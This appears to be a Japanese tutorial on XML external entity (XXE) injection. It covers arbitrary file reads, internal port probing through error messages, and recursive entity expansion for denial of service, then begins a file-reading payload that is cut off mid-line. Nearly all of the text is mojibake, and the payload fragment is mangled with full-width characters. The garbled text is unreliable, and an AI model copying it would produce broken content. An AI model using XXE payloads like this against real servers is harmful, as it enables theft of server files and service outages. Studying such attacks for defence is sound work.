XMLã¯å€éšããDTDãã¡ã€ã«ãèªã¿åãããšãã§ããããããã¹ãå¥ã®ãã¡ã€ã«ã®ãã¹ã«çœ®ãæãããšããµãŒããŒã¯XMLãè§£æãããšãã«ã·ã¹ãã ã®åã«ãã®ãã¡ã€ã«ã®ã³ã³ãã³ããã«ãŒãèŠçŽ ã«å²ãåœãŠããšèããŸããã XMLã«è¡šç€ºããåã«ã«ãŒãèŠçŽ ã®ã³ã³ãã³ããèš±å¯ããéãããã®ãã¡ã€ã«ã®ã³ã³ãã³ããèªãããšãã§ããŸããããã«ãããä»»æã®ãã¡ã€ã«ãèªã¿åãè匱æ§ãäœæãããŸãã
ã€ã³ãã©ããããã¹ãã®ããŒããæããŠããå Žåã¯ã©ããªããŸããïŒãšã©ãŒã¡ãã»ãŒãžãæå®ããããã©ããã«ããããããã€ã³ãã©ããããã¹ãã®ããŒãããšã©ãŒã¡ãã»ãŒãžããéããŠãããã©ããã倿ã§ããŸããããã«ãããå éšããŒããæ€åºãããåé¡ãäœæãããŸããããã«ãäžè¬çã«èšãã°ããµãŒããŒãXMLãè§£æãã2ã€ã®æ¹æ³ããããŸãã 1ã€ã¯ãè§£æã®ããã«äžåºŠã«XMLå šäœãã¡ã¢ãªã«ããŒãããããšã§ãããã1ã€ã¯ãããŒãããã¹ããªãŒãã³ã°ãéšåã§ããŒãããŠè§£æããããšã§ãã XMLå®çŸ©ãååž°çã«åŒã³åºããŠèšå€§ãªéã®å®çŸ©ãäžåºŠã«åŒã³åºããšããµãŒããŒã®ã¡ã¢ãªãæ¶è²»ããããµãŒãã¹æ»æã®æåŠãçããŸãã
### XMLæ³šå ¥ã®ç°¡åãªå©çš
ããŒã«ã«XMLã€ã³ã¿ãŒãã§ã€ã¹ãæ§ç¯ããæåã«ããŒã«ã«XMLãã¡ã€ã«ãå«ãããªã¿ãŒã³çµæã衚瀺ããæ¬¡ã«éåžžã®è¿ååŸã«ãµãŒããŒã«çœ®ãæããŸãã
1ããã¡ã€ã«ãèªã
次ã®ããã«ãã€ããŒã:
ïŒxmlããŒãžã§ã³='1.0'ãšã³ã³ãŒã='utf-8'ïŒ
ïŒdoctype xxe [
ïŒèŠçŽ åä»»æ
ïŒãšã³ãã£ãã£XXEã·ã¹ãã 'File: ///D: //PHPSTUDY //www //aaã